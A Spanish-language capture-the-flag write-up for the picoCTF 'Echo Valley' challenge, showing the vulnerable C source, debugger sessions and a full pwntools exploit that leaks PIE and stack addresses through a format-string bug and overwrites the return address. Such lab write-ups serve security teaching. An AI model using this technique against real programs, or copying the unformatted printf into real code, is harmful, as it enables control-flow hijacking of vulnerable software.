Echo Valley

July 18, 20258 minutes
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}
En la función main se llama a la función echo_valley, dentro de la función echo valley se pide un input y después lo muestra con un printf, todo esto dentro de un bucle infinito, el cual solo se detiene si el input es “exit”.
Cuando el programa devuelve el input introducido lo hace con printf sin especificar el tipo, haciéndolo vulnerable a format strings
printf(buf);
Esto permite lekear información del stack y hasta llegar a escribir en direcciones de la memoria.
$ ./valley
Welcome to the Echo Valley, Try Shouting:
hola
You heard in the distance: hola
%p
You heard in the distance: 0x7fff00fae700
Hay una función llamada print_flag que básicamente muestra la flag, así que el objetivo va a ser saltar a esa función mediante format strings.
Para explotar format strings lo primero es saber en qué posición se almacena el input
$ ./valley
Welcome to the Echo Valley, Try Shouting:
AAAAAAAA %p %p %p %p %p %p %p %p
You heard in the distance: AAAAAAAA 0x7ffcc3d13790 (nil) (nil) (nil) 0x7fb732a03ea0 0x4141414141414141 0x2520702520702520 0x2070252070252070
La cuarta dirección lekeada es 0x4141414141414141 que básicamente son las A que se han introducido al principio del input
$ pwn unhex 4141414141414141
AAAAAAAA
Así que la posición donde se guarda el input es la cuarta.
Revisando las protecciones del binario me di cuenta de que están todas habilitadas
pwndbg> checksec
File: /home/d3bo/Desktop/ctf/pico/echo_valley/valley
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
El PIE va a molestar un poco, ya que lo que hace es aleatorizar las direcciones del binario, haciendo que las direcciones cambien en cada ejecución.
Así que hay que saber la base de PIE para después sumarle el offset de la dirección de print_flag
Dump of assembler code for function print_flag:
0x0000000000001269 <+0>: endbr64
GDB para poder debuggear mejor siempre usa la misma base de PIE, se puede consultar con el comando piebase
pwndbg> piebase
Calculated VA from /home/d3bo/Desktop/ctf/pico/echo_valley/valley = 0x555555554000
Pero claro, el exploit hay que ejecutarlo en remoto y en remoto no se puede usar esto, entonces para conocer la base de PIE se necesita lekear una dirección del binario, recomiendo hacerlo con gdb porque como la base es 0x555555554000 se pueden identificar rápidamente, ya que empiezan por 55555…
pwndbg> c
Continuing.
Welcome to the Echo Valley, Try Shouting:
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
You heard in the distance: 0x7fffffffe430 (nil) (nil) (nil) 0x7ffff7f97ea0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x207025 0xa4e6cbacc877fc00 0x7fffffffe660 0x555555555413 0x7fffffffe700 0x7ffff7dda6b5 0x7ffff7fc6000 0x7fffffffe788 0x1ffffe6c0 0x555555555401 (nil) 0xf6452c3f3714abec 0x7fffffffe788 0x1 0x7ffff7ffd000 0x555555557d78 You heard in the distance: 0x7fffffffe430 (nil) (nil) (nil) 0x7ffff7f97ea0 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x252070000a702520 0x2070252070252070 0x7025207025207025
En la posición 21 hay esta dirección
0x555555555413
Al restarle la base de PIE se obtiene el offset de la instrucción a la que apunta
>>> hex(0x555555555413 - 0x555555554000)
'0x1413'
pwndbg> disass 0x1413
Dump of assembler code for function main:
0x0000000000001401 <+0>: endbr64
0x0000000000001405 <+4>: push rbp
0x0000000000001406 <+5>: mov rbp,rsp
0x0000000000001409 <+8>: mov eax,0x0
0x000000000000140e <+13>: call 0x1307 <echo_valley>
0x0000000000001413 <+18>: mov eax,0x0
0x0000000000001418 <+23>: pop rbp
0x0000000000001419 <+24>: ret
Parece que apunta a main +18 justo la línea que hay después del call a echo_valley, parece que lo que se a encontrado es la dirección de retorno guardada, básicamente la dirección a la cual va a saltar el programa después de ejecutar la función echo_valley.
El objetivo ahora es hacer un script que consiga esa dirección y le reste el offset (0x1413) para obtener la base del PIE
#!/usr/bin/env python3
from pwn import *
exe = ELF("./valley_patched")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote("shape-facility.picoctf.net", 51749)
return r
def main():
r = conn()
offset_fmstr = 6
offset_main_addr = 0x1413
r.sendlineafter('Shouting:', b'%21$p')
output = r.recvline()
output = r.recvline()
output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
output = int(output, 16)
print(f"Leaked address: {hex(output)}")
pie_base = output - offset_main_addr
print(f"Pie base: {hex(pie_base)}")
r.interactive()
if __name__ == "__main__":
main()
[d3bo@archlinux echo_valley]$ python3 solve.py LOCAL
Leaked address: 0x55d241f6f413
Pie base: 0x55d241f6e000
[*] Switching to interactive mode
$
Una vez con la base de PIE ya se puede calcular la dirección de print_flag, básicamente es sumar el offset a PIE base
pwndbg> disass print_flag
Dump of assembler code for function print_flag:
0x0000000000001269 <+0>: endbr64
....
offset_print_flag = 0x0000000000001269
print_flag = pie_base + offset_print_flag
print(f"Print flag: {hex(print_flag)}")
....
[d3bo@archlinux echo_valley]$ python3 solve.py LOCAL
Leaked address: 0x561d8943a413
Pie base: 0x561d89439000
Print flag: 0x561d8943a269
Ahora solo queda sustituir la dirección de retorno que va a main+18 por la de print_flag.
No basta solo con saber que esa dirección de retorno se almacena en la posición 21, hay que saber la dirección exacta de donde está en el stack, pero claro, las direcciones en el stack cambian en cada ejecución, así que hay que lekear una dirección del stack.
Antes al dumpear con %p los valores del stack, antes del return address, concretamente en la dirección 20 había esta dirección 0x7fffffffe660 la cual parece ser del stack, para comprobarlo abrí gdb, puse un breakpoint a echo_valley, ejecute el programa y con telescope consulte el stack
pwndbg> telescope $rsp 30
00:0000│ rsp 0x7fffffffe5e0 ◂— 0xa7024303225 /* '%20$p\n' */
01:0008│-068 0x7fffffffe5e8 ◂— 0x4a0000
02:0010│-060 0x7fffffffe5f0 ◂— 0x800
03:0018│-058 0x7fffffffe5f8 ◂— 0x940000
04:0020│-050 0x7fffffffe600 ◂— 0x940000
05:0028│-048 0x7fffffffe608 —▸ 0x7fffffffe638 ◂— 0
06:0030│-040 0x7fffffffe610 ◂— 0x8c00000006
07:0038│-038 0x7fffffffe618 ◂— 0
... ↓ 5 skipped
0d:0068│-008 0x7fffffffe648 ◂— 0x7ee53e6c33167700
0e:0070│ rbp 0x7fffffffe650 —▸ 0x7fffffffe660 —▸ 0x7fffffffe700 —▸ 0x7fffffffe760 ◂— 0
0f:0078│+008 0x7fffffffe658 —▸ 0x555555555413 (main+18) ◂— mov eax, 0
10:0080│+010 0x7fffffffe660 —▸ 0x7fffffffe700 —▸ 0x7fffffffe760 ◂— 0
11:0088│+018 0x7fffffffe668 —▸ 0x7ffff7dda6b5 (__libc_start_call_main+117) ◂— mov edi, eax
12:0090│+020 0x7fffffffe670 —▸ 0x7ffff7fc6000 ◂— 0x3010102464c457f
13:0098│+028 0x7fffffffe678 —▸ 0x7fffffffe788 —▸ 0x7fffffffea8e ◂— '/home/d3bo/Desktop/ctf/pico/echo_valley/valley'
14:00a0│+030 0x7fffffffe680 ◂— 0x1ffffe6c0
15:00a8│+038 0x7fffffffe688 —▸ 0x555555555401 (main) ◂— endbr64
16:00b0│+040 0x7fffffffe690 ◂— 0
17:00b8│+048 0x7fffffffe698 ◂— 0x20ab65b3ad9a780b
18:00c0│+050 0x7fffffffe6a0 —▸ 0x7fffffffe788 —▸ 0x7fffffffea8e ◂— '/home/d3bo/Desktop/ctf/pico/echo_valley/valley'
19:00c8│+058 0x7fffffffe6a8 ◂— 1
1a:00d0│+060 0x7fffffffe6b0 —▸ 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe310 —▸ 0x555555554000 ◂— 0x10102464c457f
1b:00d8│+068 0x7fffffffe6b8 —▸ 0x555555557d78 (__do_global_dtors_aux_fini_array_entry) —▸ 0x555555555220 (__do_global_dtors_aux) ◂— endbr64
1c:00e0│+070 0x7fffffffe6c0 ◂— 0x20ab65b3af7a780b
1d:00e8│+078 0x7fffffffe6c8 ◂— 0x20ab75f72f44780b
Fuera del stack frame actual de la función echo_valley, en la dirección 0x7fffffffe658 es donde está guardado el return address y justo la dirección que mostraba al hacer %20$p es la siguiente dirección del stack 0x7fffffffe660.
>>> 0x7fffffffe660 - 0x7fffffffe658
8
La diferencia entre la una y la otra es solo 8, ya que van seguidas, así que para saber la dirección del stack en la que se almacena el return address basta con restarle 8 a la dirección lekeada de %20$p
r.sendline(b'%20$p')
output = r.recvline()
output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
output = int(output, 16)
print(f"Leaked address: {hex(output)}")
ret_addr = output - 8
print(f"Ret addr: {hex(ret_addr)}")
$ python3 solve.py LOCAL
Leaked address: 0x5584893f4413
Pie base: 0x5584893f3000
Print flag: 0x5584893f4269
Leaked address: 0x7ffcbdffb040
Ret addr: 0x7ffcbdffb038
Solo queda craftear el payload final para sustituir la dirección de retorno a main por la que va a print_flag.
payload = fmtstr_payload(6, {ret_addr: print_flag})
r.sendline(payload)
r.sendline(b'exit')
Esto debería de funcionar, ¿pero no funciona, porque?
El programa lee un input de maximo 100 bytes y el payload generado por pwntools para cambiar el valor del return address ocupa 120.
payload = fmtstr_payload(6, {ret_addr: print_flag})
print(len(payload))
$ python3 solve.py LOCAL
Leaked address: 0x55e196f92413
Pie base: 0x55e196f91000
Print flag: 0x55e196f92269
Leaked address: 0x7ffc4c7c0670
Ret addr: 0x7ffc4c7c0668
120
Para solucionarlo, añadí el parámetro write_size especificando ‘short’, con esto el payload generado pasa de ser de 120 a 64. Y al ejecutarlo en remoto muestra la flag.
Script Final:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./valley_patched")
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
gdb_script = '''
b main
continue
'''
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r, gdbscript=gdb_script)
else:
r = remote("shape-facility.picoctf.net", 55189)
return r
def main():
r = conn()
offset_fmstr = 6
offset_main_addr = 0x1413
r.sendlineafter('Shouting:', b'%21$p')
output = r.recvline()
output = r.recvline()
output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
output = int(output, 16)
print(f"Leaked address: {hex(output)}")
pie_base = output - offset_main_addr
print(f"Pie base: {hex(pie_base)}")
offset_print_flag = 0x0000000000001269
print_flag = pie_base + offset_print_flag
print(f"Print flag: {hex(print_flag)}")
r.sendline(b'%20$p')
output = r.recvline()
output = output.split(b'You heard in the distance: ')[1].strip(b'\n')
output = int(output, 16)
print(f"Leaked address: {hex(output)}")
ret_addr = output - 8
print(f"Ret addr: {hex(ret_addr)}")
payload = fmtstr_payload(6, {ret_addr: print_flag}, write_size='short')
print(len(payload))
r.sendline(payload)
r.sendline(b'exit')
r.interactive()
if __name__ == "__main__":
main()